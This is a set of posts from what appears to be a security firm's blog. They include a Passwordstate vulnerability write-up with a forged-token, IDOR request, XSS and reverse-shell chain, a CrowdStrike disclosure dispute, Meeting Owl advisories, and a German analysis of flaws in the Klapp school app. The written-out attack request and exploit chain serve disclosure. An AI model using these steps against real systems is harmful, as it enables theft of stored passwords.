2022-12-19
Better Make Sure Your Password Manager Is Secure
Or Someone Else Will
tl;dr
As part of a security analysis, our colleagues kuekerino (T / M), ubahnverleih (T / M) and parzel (T / M) examined the password management solution Passwordstate of Click Studios and identified multiple high severity vulnerabilities (CVE-2022-3875, CVE-2022-3876, CVE-2022-3877). Successful exploitation allows an unauthenticated attacker to exfiltrate passwords from an instance, overwrite all stored passwords within the database, or elevate their privileges within the application. The individual vulnerabilities can be chained to gain a shell on the Passwordstate host system and dump all stored passwords in cleartext – Starting with nothing more than a valid username!
Details about these and all other identified security vulnerabilities in Passwordstate can be found in our published disclosure report [PDF].
Click Studios states that all vulnerabilites are fixed since Passwordstate 9.6 - Build 9653.
Securing Your Password Manager Is Crucial for the Security of Your Organization
Many enterprise organizations struggle with password management. Password management solutions simplify this process by generating, storing and managing our passwords. Storing passwords in a secure password manager is so far the best method to safe-keep passwords, but it is important to understand that the more secrets are stored within a single centralized location, the more valuable it will be for criminals. Therefore it is of crucial importance that the solution storing the secrets is secure.
We experienced first hand how severe that lack of security can be, when we conducted a pentest for a customer. The customer planned to migrate their password management to the solution Passwordstate by Click Studios and wanted to make sure that their passwords would be securely stored and can only be accessed by authorized users.
Passwordstate is an on-premise enterprise password management solution. It allows its users to store, access and share sensitive password material. The password manager has support for a vast amount of features, different access control systems and connectors to enterprise identity management solutions. With over 29,000 customers, "spanning from the largest of enterprises, including many Fortune 500 companies to the smallest of IT shops", it is widely deployed.
We started our analysis by setting up our own instance of Passwordstate with a machine-in-the-middle setup. This allowed more transparent and dynamic testing. Afterwards we used the whole application for a few hours to map as many of the available features as possible. Our first observation was that the core of the application uses a framework, but the various API parts had a more custom tailored feel. Some API components used a different authentication mechanism and we suspected that it was developed without the framework. This seemed to be a promising place to start, as custom written code most often is more prone to errors.
The first API we looked into was the browser extension API. Passwordstate has support for a browser extension, which can store, modify and retrieve passwords for users. As this API directly handles confidential credentials, it peaked our interest.
The browser extension authenticates against the API with a token and we wanted to know how it is generated. As the software is written in C#, it should have been easy to decompile it. To prevent decompilation, the vendor used code obfuscators – these can't hide the code completely, but can make it more time-consuming to decompile or understand the code. Contrary to a real attack, time is limited in pentests. So, instead of deobfuscating the code, we tried another approach: The changelogs of the software showed that code obfuscation was introduced a few major versions before. These versions cannot be downloaded on Clickstudios' website anymore, but the Internet Archive had some older versions available.
The decompiled version contained a surprise for us: The API token is not some randomly generated string or secret, neither is it cryptographically signed. Instead, the API token contained concatenated user information that was XOR encrypted with a hardcoded key. A decrypted example can bee seen here:
user;abc;def;144503
Even more surprising was the code, which validated the token: The only field from the string used for authentication and authorization was the username. This implied the following:
- Tokens cannot be invalidated when they are compromised
- Tokens are not changed on a user's password change
- We can create our own token for a known username
The last point is crucial: We only need to know an existing username to craft a valid API token with the hardcoded XOR key. As a result we can access and modify all data which the browser extension can access and this includes all passwords of that user that have a URL entry attached to it. This is the default for any password stored through the browser extension. We were off to a great start, but there were some passwords left within the instance we could not access yet. So we decided we need to dig deeper to acquire them as well.
The fact that we retrieved the requested passwords from the API in cleartext got us thinking. Because this means that the passwords are either not stored encrypted on the server or are stored with only server-side encryption within the database. An inspection of the database on our installation showed that the latter was the case. In fact, the server-side decryption was already reversed by Northwave Security a few years back. They have published a proof of concept which allowed to extract the obfuscated AES key used for encrypting the database from different files on the system and snippets from the database. Afterwards it dumps all passwords stored within the database.
We consider this architecture a fundamental design flaw, as any attacker with access to the host system can dump all stored passwords on it! The linked code though is only working for builds until version 8903, afterwards it was mitigated with an update. There was no major announcement regarding a change of cryptographic implementation in Click Studios' changelog or release notes. This led us to believe that the fix may not address the root cause but only changed and subsequently obfuscated the decryption process enough to break the proof of concept tool. To verify our suspicion we generated the previously working encryption key with the tool:
We performed some in-memory searches to see if the key is still in use by the application in its previous form. Yes, it was! And right next to it was something which looked very similiar to a key as well. We tried decrypting the database with it and it worked. The following image shows the two keys next to each other. Can you spot the connection? A simple one-line patch is sufficient to make the password decryptor work again.
But in order to get to the encrypted passwords, we would need access to the database or – even better – get a reverse shell.
We already mentioned the vast feature set of Passwordstate like its role based access system. Users with the administrator roles have a special menu that gives access to many administrative features, for example backing up the database or adding new users. Or – and this feature seemed particularly interesting to us – the ability to run arbitrary Powershell scripts on the host-machine: Code execution as a service! If we could find a way to elevate our privileges within Passwordstate to an administrator user, we could access the host system and dump all passwords. But remember, we may have access to the browser extension API so far, but that does not give us access to an actual session within the web instance.
As the Passwordstate user interface is a website, this provides a huge surface for cross-site scripting (XSS) attacks. We did not have to dig deep to find one: URLs could be assigned to passwords which can quickly be visited from within the password manager. The link validation was insufficient and allowed the use of the JavaScript protocol handler and therefore for easy XSS attacks with a single click.
The actual URL is mostly hidden in Passwordstates' user-interface, increasing the probability of an unsuspecting user clicking the link. And here comes the art of make humans clicking links: As an authenticated user this is easy – Passwordstate allows sharing of password lists. Inviting a colleague to the password list for the next project is common. And if the only place where the URLs are shared is the shared list, a click on the link is not unlikely.
But what seems even more authentic than a link in a shared password list? A link in a user's private password list. How do we do that? With an IDOR.
We already found a major vulnerability within the browser extension API and as hackers we know: One vulnerability seldom comes alone. One of the first things we checked with our unauthenticated API access was, if we can access other user's passwords. We had no luck with that, but discovered that it is possible to store new password entries within other people's password lists when the list's ID is known by using the following request:
POST /api/browserextension/addpassword/ HTTP/2 Host: XXX Cookie: session-id=XXX Content-Length: XXX Content-Type: application/x-www-form-urlencoded; charset=UTF-8 auth_key=XXX&PasswordList=anything&PasswordListID=1&Title=please+open+me&UserName=username&D escription=please+open+me&URL=any_url&Password=password&WebsiteFav icon=anything
This even worked for private password lists! When inspecting the request to the API, we quickly noticed the numerical and incremental nature of the IDs that are used in the requests. Simply by iterating, an attacker can add the XSS payload to every single password list in the system – And that is exactly what we needed to spray the XSS payload.
The Exploit
Now we had all the puzzle pieces for an exciting vulnerability chain that could get us from a remote attacker with only a valid username to accessing all passwords stored on the Passwordstate instance. The cherry on top is of course the reverse shell on the instance that allows an attacker to keep their access even when these vulnerabilities are fixed.
Let's see how the individual vulnerabilities can be combined:
- Forge an API token for a valid username
- Iterate through all public and private password lists and add malicious password entries with the XSS payload in the URL field
- Wait until an administrator opens the prepared password entry and cover it by opening a benign URL
- Get a reverse shell
- Finally decrypt and dump all passwords stored within the Passwordstate instance
Conclusion
Password safety and therefore password management solutions are the foundation on which an organization's security infrastructure is built on. They are the keys to the queendom and as such they should be handled with the utmost care. Their security must be treated as a holistic endeavor from architecture to implementation and maintenance. A vast feature set often also implies a huge attack surface, with lots of room for errors.
The uncovered findings show the incredible importance of ongoing security audits for critical assets and red teaming engagements within organizations.
Acknowledgement
We want to thank Click Studios for the open and transparent communication within the disclosure process. Click Studios was responsive throughout the entire process and released their fixes swiftly after receiving our report.
Advisory & Timeline
Find the full technical details about these vulnerabilities, proof of concept code, the disclosure timeline and all other identified vulnerabilities in our disclosure report [PDF].
2022-08-22
Ridiculous vulnerability disclosure process with CrowdStrike Falcon Sensor
Today, we publish a new advisory for a vulnerability in the CrowdStrike Falcon Sensor, that was found by our team-mate Pascal Zenker as part of a recent red-teaming engagement.
The vulnerability is a case of insufficient control flow management, that allows an attacker with administrative privileges to bypass the Falcon Agent Uninstall Protection feature of CrowdStrike. As the exploit needs high privileges, the overall risk of the vulnerability is very limited.
While the vulnerability itself might not be worth a blog post, we'd like to write a few lines about the ridiculous disclosure process.
CrowdStrike is a major vendor in the area of IT security and we expected a straightforward coordinated disclosure process. To our surprise, the communication and disclosure with CrowdStrike was tedious and turned unprofessional in the end. Throughout the whole process, CrowdStrike pushed us repeatedly to disclose the vulnerability through their HackerOne bug bounty program, which would have forced us to agree on the HackerOne Disclosure terms.
We communicated early on that we are neither willing to participate in any bug bounty program nor sign an NDA, because we are the ones, providing information to them. After providing CrowdStrike with a draft of the security advisory and exploit source code we were informed that they could not replicate the issue with an updated version of the sensor. Our request for a 14-day trial version to verify that ourselves was denied.
As the issue was not considered valid, we informed CrowdStrike that we would release the advisory to the public. In response, CrowdStrike tried again to set up a bug bounty disclosure meeting between "modzero's Sr Leadership" and CrowdStrike CISO "[...] to discuss next steps related to the bug bounty disclosure" in contrast to our previously stated disclosure rules.
Sometime later, we were able to acquire an updated version of the sensor and discovered that parts of the formerly provided exploit code and a specific msiexec call, are now flagged as malicious behaviour by the sensor. This leads us to conclude that CrowdStrike tried to "fix" the issue, while being told the issue didn't exist. Which is pretty disrespectful to us.
We were able to circumvent the countermeasures introduced silently by CrowdStrike. With small changes to the exploit, it is now working again (tested with version 6.42.15610 of the CrowdStrike Falcon software).
We believe that vulnerability disclosure is a two-way street. Vendors, as well as researchers, should act responsibly and show mutual goodwill and transparency. Mutual non-disclosure agreements and restrictions imposed by bug bounty programs limit the disclosure process. Remember, just because no CVE-IDs are publicly known, does not mean bugs haven't been reported and fixed. Many bug bounty reports never assign CVE-IDs, leading to a false perception of security and software quality.
References
- Proof of Concept screencast: https://youtu.be/3If-Fqwx-4s
- modzero Security Advisory MZ-22-02: https://www.modzero.com/advisories/MZ-22-02-CrowdStrike-FalconSensor.txt
Disclosure Timeline
2022/04 - Found vulnerability in CrowdStrike Falcon Sensor (6.31.14505.0) 2022/06/04 - modzero asked for security contact @ CrowdStrike, because their "report a security bug" page only refered to the hackerone Bug Bounty program. 2022/06/06 - CS answered that modzero can use the hackerone submission page, or send an E-Mail to their support at support@crowdstrike.com. 2022/06/06 - modzero asked if it is okay to send sensitive information about 0day vulnerabilities to support@. modzero also told CS that we are not willing to accept terms & conditions of hackerone, which is why we asked for a direct security contact. 2022/06/06 - CS offered to enroll modzero in a private bug bounty program at hackerone, under the conditions that we are willing to sign a mutual non-disclosure agreement. 2022/06/07 - to prevent further misunderstandings, modzero told CS again, that: * we would like to submit a security related bug. * we don't want to participate in any bug bounty programs. * we are not willing to sign any NDA because WE are the ones, providing information to CS. * we are not willing to accept any sort of terms & conditions that are out of scope of well known hacker ethics. * we only want to get a reliable security contact on their side. Aditionally, modzero sent a link to their current vulnerability disclosure policy. 2022/06/07 - CS told us to send the report to bugs@ for review. 2022/06/13 - CS asked for the report. 2022/06/13 - modzero told CS that we need a little bit more time to finish and double check everything before submitting. 2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept exploit sourcecode, executable and a Screencast video of the PoC to CS. 2022/06/29 - CS told us, that we were testing using only an unsupported version of the Falcon Sensor. CS told us about the error message and that they are not able to reproduce. 2022/07/05 - modzero told CS that the error message can be ignored and refered to their PoC screencast video. We also asked for a recent (14-day trial) version of Falcon Sensor to provide reliable information if the most recent version is still vulnerable or not. 2022/07/05 - CS answered: "We do not provide trial licenses as part of this process, however having tested the PoC on our end with a modern sensor this does not appear to be a valid issue." 2022/07/05 - modzero announced publishing the advisory and exploit code by end of week, asking if the quote of CS "Having tested the PoC on our end with a modern sensor this does not appear to be a valid issue" can be used in our report. 2022/07/06 - CS asking for a meeting between modzero's Sr Leadership and CS to discuss next steps related to the bug bounty disclosure. 2022/07/07 - modzero, again, told CS, that we are not participating in any bug bounty program and that there is no need to discuss NDAs or bug bounty programs. 2022/08/12 - modzero managed to acquire a recent version (6.42.15610) of CrowdStrike Falcon and verified, that the attack is still possible. Furthermore, modzero figured out that the vulnerability (that was rejected by CrowdStrike first) has been silently fixed: The PoC that has been sent to CrowdStrike was flagged as malicious. The msiexec call of the deinstaller was also flagged as malicious. Both "countermeasures" can be circumvented easily, we updated the exploit accordingly. 2022/08/22 - modzero publishes Security Advisory and exploit code, because CrowdStrike was unwilling to set up a cooperative information exchange outside of their NDA-ridden BugBounty program to discuss vulnerabilities in their products.
2022-05-31
[EN] hoot hoot pwn
As part of an analysis of video conference solutions for a customer, we examined the Meeting Owl. The Meeting Owl is a smart, owl-shaped 360-degree video conference camera that is intended for use in companies and educational institutions.
To use the owl, it must be connected to a computer via USB. Additionally, an app for iOS and Android, as well as a web interface for configuration and administration is provided. Although the device made a good first impression due to its appealing design and usability, the analysis revealed serious defects in the built-in security mechanisms.
Find Meeting Owls near you!!
By exploiting the vulnerabilities we found during our analysis, an attacker can find registered devices, their data, and owners from around the world. Attackers can also access confidential screenshots of whiteboards or use the Owl to get access to the owner's network. The PIN protection, which protects the Owl from unauthorized use, can be circumvented by an attacker by (at least) four different approaches.
The map above was generated based on publicly available data which was also disclosed to Owl Labs.
The details of these and other security vulnerabilities can be found in our detailed report (PDF).
Conclusion
According to our analysis described above, the Meeting Owl is currently everything but safe.
After we reported the weaknesses to the manufacturer, we only got feedback after contacting the American Cybersecurity and Infrastructure Security Agency, CISA.
However, expanding your infrastructure with startup-technology may put your information security at risk.
Sometimes it is useful, to examine the new technologies first before they are used in private and critical environments. Without such an assessment, unnoticed security risks can occur to the corporate or private network and its systems.
Disclosure Timeline
On 01/19/2022 we tried to contact the security officers at Owl Labs for the first time, unfortunately without success. On 02/01/2022 we tried again. Furthermore, on 02/09/2022 we contacted the German Bundesamt für Sicherheit in der Informtionstechnik (BSI) for further clarification with the American authority CISA. We received an answer from Owl Labs on 02/17/2022, after reporting to CISA.
After we asked for a timeline or roadmap, Owl Labs told us on 03/14/2022, that they will roll out updates starting next week, and that all vulnerabilities will be remediated by mid-May.
Until today, several update have been published by Owl Labs. According to a quick inspection, there are still open security issues and weaknesses, thus we postpone the release of our tools for another four weeks.
Our disclosure policy has been submitted to Owl Labs and is available here (PDF).
2022-05-31
[DE] hoot hoot pwn
Im Rahmen einer Analyse von Videokonferenzlösungen für einen Kunden, haben wir die Meeting Owl untersucht. Die Meeting Owl ist eine smarte, eulenförmige 360-Grad Videokonferenz-Kamera, die für den Gebrauch in Unternehmen und Bildungseinrichtungen gedacht ist.
Zur Verwendung wird die Eule über USB an einem Computer angeschlossen. Zusätzlich wird eine App für iOS und Android sowie ein Webinterface für die Verwaltung zur Verfügung gestellt. Obwohl das Gerät aufgrund seines ansprechenden Designs und einfacher Benutzbarkeit einen guten ersten Eindruck machte, ergaben sich in der Analyse schwerwiegende Mängel in den eingebauten Sicherheitsmechanismen.
Finde Meeting Owls in DEINER Nähe!
Mit den von uns in der Analyse gefundenen Schwachstellen kann eine Angreiferin registrierte Eulen und die Daten ihrer Halterinnen auf der ganzen Welt finden, vertrauliche Screenshots von Whiteboards einsehen oder die Eule nutzen, um ins Firmennetzwerk zu gelangen. Auch der PIN-Schutz, mit dem man die Eule vor unbefugter Nutzung schützen kann, kann von einer Angreiferin auf (mindestens) vier verschiedene Arten umgangen werden.
Die obige Karte wurde anhand öffentlich einsehbarer Datensätze erstellt. Diese wurden an Owl Labs übergeben.
Die Details zu diesen und weiteren Sicherheitslücken, können in unserem Report (PDF) nachgelesen werden.
Fazit
Vor dem Hintergrund der oben beschriebenen Analyse ist die Meeting Owl aktuell nicht sicher einsetzbar. Nach dem wir die Schwachstellen dem Hersteller gemeldet haben, erfolgte eine Rückmeldung erst nach einer Meldung an die amerikanische Behörde für Informationssicherheit, CISA. Weiter zeigt dieser Fall, dass es bei der Erweiterung der eigenen Infrastruktur sinnvoll sein kann, die einzelnen eingesetzten Technologien im Hinblick auf ihre Sicherheit kritisch zu prüfen. Ohne eine solche Prüfung kann es zu unbemerkten Sicherheitsrisiken kommen, auch wenn die Technologie auf den ersten Blick einen soliden Eindruck macht.
Disclosure Timeline
Die anfängliche Analyse entwickelte sich schnell zu einem Sicherheitsalptraum, in dem mehr und mehr Sicherheitsrisiken zum Vorschein kamen. Am 19.01.2022 versuchten wir erstmals Kontakt zu den Sicherheitsverantwortlichen von Owl Labs aufzunehmen, leider ohne Erfolg. Am 01.02.2022 fragten wir erneut an. Parallel wendeten wir uns am 09.02.2022 an das Bundesamt für Sicherheit in der Informationstechnik für eine weitere Klärung mit der Amerikanischen Schwesterbehörde CISA. Eine Antwort von Owl Labs erhielten wir erst am 17.02.2022, nach der Meldung an die CISA. Auf Nachfrage teilt Owl Labs am 14.03.2022 mit, dass sie ab sofort Updates ausrollen würden, und bis Mitte Mai alle Sicherheitslücken behoben sein sollen. Es gab seitdem einige Updates, aber es sind noch längst nicht alle aufgedeckten Schwachstellen behoben. Daher werden wir unsere Werkzeuge erst in vier Wochen veröffentlichen.
Unsere Disclosure Policy haben wir an Owl Labs geschickt, sie ist hier (EN/PDF) abrufbar.
2020-09-07
Knapp daneben ist auch vorbei
Wir als modzero sehen seit einem Jahrzehnt Sicherheitsschwachstellen und Datenschutzvergehen in verschiedensten Variationen. Unabhängig von der Art oder Komplexität einer Schwachstelle sehen wir sehr oft einen wenig risikobewussten Umgang mit Daten und Ressourcen. Wir schreiben das Jahr 2020, und noch immer werden Applikationen mit der heissen Nadel gestrickt. Time-to-Market hat eine so hohe Priorität, dass nicht einmal grundlegende Sicherheitsprinzipien in die Lösungsarchitektur oder das individuelle Applikationsdesign einfliessen. Man findet an jeder Ecke Applikationen und Datenverarbeitungssysteme, die schlecht, d.h. unsicher, mit den ihnen anvertrauten Daten umgehen. Dies ist umso gravierender, wenn es sich um personenbezogene Daten oder gar Gesundheitsdaten handelt.
In unserem Artikel Mit Webapps gegen COVID-19 wollten wir darauf aufmerksam machen, dass jeder eine Verantwortung hat, dass Software angemessen sicher wird. Heute möchten wir dieses Thema mit einem weiteren Beispiel erneut aufgreifen. Die anhaltende Corona-Pandemie eröffnet neue Herausforderungen aber auch Möglichkeiten bei der Digitalisierung und der Datenverarbeitung. In allen Bereichen sucht man nach Lösungen, und spätestens während des totalen Lockdowns haben auch Schulen festgestellt, dass sie noch Nachholbedarf im digitalen Bereich haben. Es wurde alles eingesetzt was verfügbar war: Zoom, Teams, WhatsApp, Facebook Messenger. In der Schweiz wurde bereits vor drei Jahren eine schweizerische Plattform namens Klapp ins Leben gerufen, welche insbesondere die Kommunikation zwischen Eltern und Schule und Lehrpersonen vereinfachen soll. Einfache Kommunikation, die klappt!", so der Slogan des Unternehmens. Zu Zeiten von Corona hat diese Plattform einen massiven Nutzer-Zuwachs erhalten. Unter den Nutzern ist auch eine unserer MitarbeiterInnen.
Wie funktioniert Klapp?
Bei Klapp handelt es sich um ein schweizerisches Start-Up mit dem Sitz in Fislisbach (AG). Zum Zeitpunkt der Veröffentlichung gibt das Unternehmen an mehr als 200 Schulen, 8'600 Lehrpersonen und 45'000 Eltern eine Plattform zur Kommunikation zu bieten. Hier werden gemäss seinen Angaben täglich rund 3'000 individuelle Nachrichten versendet. (siehe hierzu Angaben durch Klapp) Die Daten werden ausschliesslich in der Schweiz gespeichert. Neben der Benutzung im Browser kann die App kann auch mit dem Smartphone (iOS und Android) genutzt werden.
Aus technischer Sicht ist Klapp eine cordova-basierte Web- und Mobile-App. Zur Registrierung als Elternteil oder Schüler benötigt man einen sogenannten Autorisierungs-Code. Nach erfolgreicher Registrierung ist der Zugriff auf die jeweilige Klasse und die damit verbundenen Funktionalitäten möglich. Während der Kurzanalyse wurden folgende Haupt-Funktionen als angemeldetes Elternteil identifiziert:
Damit Schulen die Klapp-Plattform nutzen können, wird zunächst ein Ex- und Import von Stammdaten vorgenommen. Zu diesem notwendigen Ex- und Import Prozess hat Klapp diverse Anleitungen veröffentlicht. Nach erfolgreichem Daten-Import können die Lehrpersonen Einladungsschreiben für die Eltern generieren. Diese enthalten Informationen über Klapp und sind personalisiert. Jedes dieser Einladungsschreiben hat nämlich zusätzlich den Namen des Kindes und einen Autorisierungs-Code für die Eltern aufgedruckt.
Dieser Autorisierungs-Code wird bei der Registration benötigt. Hiermit autorisiert sich die Anwenderin als Elternteil eines bestimmten Kindes. Der Autorisierungscode stellt somit das eindeutige Merkmal dar, um die betreffende Person zu identifizieren.
Der Autorisierungs-Code hat das folgende Format: P-ABCDE1. Das Präfix "P-" steht für "Parent", Autorisierungs-Codes von Schülerinnen haben das Präfix "S-", was für "Student" steht. Die darauffolgenden Werte sind sechs alphanumerische Zeichen, Das bedeutet, dass es maximal 2.17 Milliarden mögliche "Parent" oder "Student" Codes gibt - Bei einer Anfrage pro Sekunde an den Klapp-Server benötigt man 3,7 Wochen um alle möglichen Autorisierungs-Codes zu erraten. Geht man von aktuell 45'000 verfügbaren Autorisierungs-Codes aus, trifft man mit einer Warscheinlichkeit von 52.49%, bei der selben Anfragerate, nach 10 Stunden mindestens einen gültigen Autorisierungs-Code. Würde man den möglichen Raum von Zeichen um Kleinbuchstaben und die Länge des Autorisierungs-Codes auf 10 erweitern, so bräuchte man, bei der angenommenen Anzahl an Anfragen pro Sekunde, 16 Millionen Jahre um alle durchzuprobieren. Die Annahme, dass nur eine Anfrage pro Sekunde möglich ist gilt als sehr konservativ, nicht selten können aktuelle Webserver bis zu 1000 Anfragen/Sekunde abarbeiten.
Wie steht es bei Klapp um den Datenschutz?
Die Daten der Applikation (Nachrichten, Chats und Bilder) werden zwar über einen verschlüsselten Kanal auf den Klapp-Server übertragen, werden auf dem Server aber unverschlüsselt gespeichert. Das heisst, dass mindestens der Betreiber und alle Involvierten, welche die Daten prozessieren, Informationen mitlesen und manipulieren könnten. Im Falle eines Klassenverbundes heisst das im einfachsten Fall, dass die Klapp GmbH sowie die Dienstleister für den Nachrichtenversand über die registrierten Kinder und Eltern sowie Klassengruppierungen und die versendeten Informationen Bescheid wissen. Werden sensible Informationen wie Krankheiten oder vielleicht Kritik- oder Entwicklungspunkte der Kinder zwischen Personen ausgetauscht, sind diese nicht umfassend gesichert und es ist nicht ersichtlich ob man mit dem legitimen Kommunikationspartner Daten austauscht.
In Ihrer Datenschutzerklärung verspricht die Klapp GmbH:
"Wir geben keine Personendaten an Dritte weiter und erzielen auch keinen kommerziellen Nutzen daraus. Ihre Personendaten, die Sie uns zur Verfügung stellen, werden von uns weder verkauft, vermietet noch gehandelt".
Weiter schreibt die Klapp GmbH:
"Ihre Daten speichern wir in der Schweiz. Benutzerdaten werden in der Schweiz gespeichert und verarbeitet und unsere Partner halten die schweizerischen und europäischen Datenschutzverordnung ein".
Und "Privacy by Design" wird ebenfalls als Merkmal benannt. Die Aussage "Wir wollen mit Ihren Daten kein Geld verdienen. Ihre Benutzerdaten werden unter keinen Umständen an Dritte verkauft oder für Werbung verwendet." wirkt vertrauenserweckend.
Auch die Schulen scheinen von der Lösung und deren Sicherheit überzeugt. Auf Anfrage, warum Vor- und Familienname an Dritte ohne Zustimmung mitgeteilt werde teilte eine Schule mit:
"Die Firma Klapp hat nach der Registrierung nur Name und Vorname plus Schule Ihres Kindes. Diese gehören nach meinem Wissen nicht zu den besonders schützenswerten Daten. Es ist uns aber bewusst, dass ein sorgfältiger Umgang mit Daten zentral ist. Daher haben wir uns bei der App auch für die Firma Klapp entschieden, die einen hohen Standard bei der Datensicherheit garantiert".
Bei einer technischen Betrachtung zeigt sich ein anderes Bild. Klapp verwendet beispielsweise für die Übermittlung der Daten Push-Nachrichten, welche über den US-Amerikanischen Dienst OneSignal versendet werden. Hier werden neben dem Vor- und Familiennamen des Absenders und der Betreff der Nachricht auch weitere Metainformationen über das verwendete Gerät und das Betriebssystem und des Netzwerkbetreibers gesammelt.
POST /players/8a77f111-c146-402b-88f3-18d874c19872/on_session HTTP/1.1 Host: api.onesignal.com Content-Type: application/json Cookie: __cfduid=dd2b3c2801e2179392b0232eac71bf6bf1597813825 Connection: close If-None-Match: W/"698f061ae145e46b912b7e8e00450320" Accept: application/vnd.onesignal.v1+json SDK-Version: onesignal/ios/021402 Accept-Language: de-ch Content-Length: 434 Accept-Encoding: gzip, deflate User-Agent: Klapp/2.0.1 CFNetwork/1126 Darwin/19.5.0 { "app_id" : "bb3877cc-afc0-4d81-ac73-9339554c7686", "net_type" : 0, "device_type" : 0, "sdk" : "021402", "identifier" : "b5c9f6956a9606a93f564ac0677342ffafd9540b6c34ba170da574fd3f77dc08", "language" : "de-CH", "device_os" : "13.5.1", "game_version" : "2.0.1", "timezone" : 7200, "ad_id" : "CF7A0B86-311E-4EF7-A469-F7A5322B206A", "notification_types" : 31, "carrier" : "Salt", "device_model" : "iPhone11,2" }
Bei dem Versand via E-Mail verwendet Klapp den Dienstleister Mailgun - ebenfalls ein US-Unternehmen (siehe Datenschutzerklärung). Im Gegensatz zu den Push-Nachrichten beinhalten die E-Mail-Nachrichten auch die versendete Information, sowie Hyperlinks zu den allenfalls angehängten Dokumenten. Was bedeutet, dass neben Klapp auch Mailgun in der Lage ist, sämtliche E-Mail-Inhalte zu lesen oder zu manipulieren. Ob diese Firmen sich der hiesigen Gesetzeslage und Richtlinien unterwerfen, ist für uns aktuell nicht prüfbar. Wir möchten aber auch darauf hinweisen, dass die Daten auch ungewollt als Folge eines Erpressungsversuches oder eines Hacker-Angriffes bei dem Dienstleister geleakt werden könne .
Wir geben der Firma Klapp recht. Privacy by Design ist wichtig... und zwar genau aus dem Grund, dass niemand unautorisiertes Drittes unsere Daten einsehen können sollte. Genau deshalb sollte konsequent Ende-zu-Ende-Verschlüsselung eingesetzt werden, wie es zum Beispiel im Leitfaden des Datenschutzbeauftragten des Kantons Zürich empfohlen wird. Deshalb werden Instant-Messengers wie Signal oder Threema von vielen bevorzugt, da der Transportweg sowie jede Zwischenspeicherung verschlüsselt ist und erst am eigentlichen Endgerät entschlüsselt werden kann.
Nachdem wir uns dem Datenschutzversprechen der Firma Klapp GmbH und dem Thema Datenschutz gewidmet haben, möchten wir auf einige der technischen Unzulänglichkeiten eingehen. Viele der identifizierten Fehlerklassen sind trivial und bekannt. Auch wenn die Auswirkungen bei dieser Applikation möglicherweise gering ausfallen, möchten wir diese aufführen, weil wir diese immer wieder sehen.
Und wie steht es um die Informationssicherheit?
Datenschutz und Informationssicherheit sind eng miteinander verbunden und das Befolgen von Sicherheitsempfehlung wichtig, um den Datenschutz überhaupt zu Implementieren. Eine oberflächliche Betrachtung der Plattform hat gezeigt, dass grundlegende Sicherheitsprinzipien der Informationstechnik sowie der sicheren Entwicklung für mobile Anwendungen nicht befolgt wurden. Dies ist leider auch im Jahr 2020 immer noch häufig anzutreffen. Gerade in frühen Projektphasen ist die Erarbeitung von Bedrohungsmodellen und das Definieren von Sicherheitsanforderungen ein Kernpunkt, um später beim Lösungsdesign sowie der eigentlichen Entwicklung die richtigen Massnahmen und Methoden zu ergreifen. Gerade die gefundenen Trivialfehlerklassen zeigen, dass Datenschutz und Sicherheit während der Entwicklung der Plattform keine Schwerpunktthemen waren.
Während der Nutzung der Applikation konnte beobachtet werden, dass nicht nur der eigene Autorisierungs-Code vom Klapp-Server übermittelt wird, sondern auch die Autorisierungs-Codes, welche es den anderen Eltern ermöglichen sich eindeutig zu identifizieren.
Das bedeutet, dass jeder Empfänger das eindeutige Identifizierungsmerkmal aller Klassenteilnehmer besitzt und deren Identität übernehmen kann. Die Auswirkung eines Missbrauchs erscheint vielleicht aktuell nicht weiter schlimm bei einer solchen Verwendung. Soziales Schadenspotenzial ist auf jeden Fall vorhanden und Vertrauensmissbrauch ist möglich. Wichtig ist jedoch zu verstehen, dass eine zukünftige Funktionserweiterung der Plattform noch andere betrügerische Aktivitäten ermöglichen könnte, die heute vielleicht noch nicht absehbar sind. Hätte Klapp eine Implementierung nach den eigens aufgestellten Prinzipien der Datensparsamkeit und Need-to-Know Basis gewählt, wäre dieser Fehler gar nicht aufgetreten. Diese Schwachstelle wurde umgehend dem Klapp-Team gemeldet und Sie wurde am Abend des 24. August 2020 durch ein serverseitiges Update behoben. Daraufhin hat das Klapp-Team auch eine interne Nachricht an die BenutzerInnen versendet in der zu einer manuellen Überprüfung der registrierten Elternteile aufgerufen wird.
Ebenfalls ein Klassiker unter den trivialen Fehlern in Applikationen ist eine Vertrauensstellung durch sehr langlebige Authentisierungsmerkmale. Im Falle der Klapp-Applikation sind es JSON-Web-Token ohne Ablaufzeitpunkt. Jeder, der in den Besitz eines solchen Tokens gelangt, kann ohne zusätzliche Merkmale wie Benutzername oder Passwort andere Nutzer imitieren und hat somit automatische die Identität und Berechtigungen des legitimen Eigentümers. Bei der Klapp-Applikation werden diese Tokens auf dem Endgerät ohne zusätzliche Schutzmassnahmen abgelegt und gelangen so auch auf Backup-Datenträger oder Cloud-Dienste. Auch hier möchten wir darauf hinweisen, dass die Auswirkungen zum Glück in dem heutigen Anwendungsfall moderat ausfallen. Bekannte Schwachstellen zu implementieren ist auf jeden Fall eine schlechte Praxis, auch wenn sie aktuell wenig Relevanz haben.
Der Versand von individual Nachrichten an Lehrer ist eine von der Plattform vorgesehene Funktionalität. Wählt man "Neue Nachricht" aus so erscheint eine Auflistung der Lehrer, welche zum Empfang von Nachrichten autorisiert sind. Jeder Lehrer hat in der Plattform eine eindeutige Benutzerkennung, Beispielsweise 5f3bf6370452c910612c71be. Diese wird beim Versand der Nachricht angegeben. Eine solche Benutzerkennung haben auch Eltern und Schüler. Tauscht man die Benutzerkennung des Lehrers mit der eines anderen Elternteils aus, so wird die Nachricht an den gewünschten Empfänger übermittelt.
Soweit modzero bekannt, ist dies keine vorgesehene Funktionalität. Auch hier müssen wir erneut darauf verweisen, dass solche Fehlerklassen üblich sind. Nur weil eine Benutzeroberfläche eine Einschränkung vorsieht, muss diese von der Applikation nicht zwingend umgesetzt worden sein. Eine Einschränkung in der Benutzeroberfläche ersetzt nicht ein striktes Umsetzen eines ordentlichen Benutzer- und Rollenkonzeptes auch im Backend.
Beiläufig sind noch weitere Probleme aufgefallen, welche hier nicht im Detail beschrieben werden, aber auch mit dem Klapp-Team besprochen wurden:
Fazit
Dies soll kein Aufruf zur Verhinderung von Innovation oder Digitalisierung sein, jedoch bitten wir jeden einzelnen Entwickler, Architekt, CEO... JEDEN Involvierten... seine Verantwortung wahrzunehmen und im Zweifelsfall jemanden hinzuzuziehen, der die Sachlage neutral beurteilen kann.
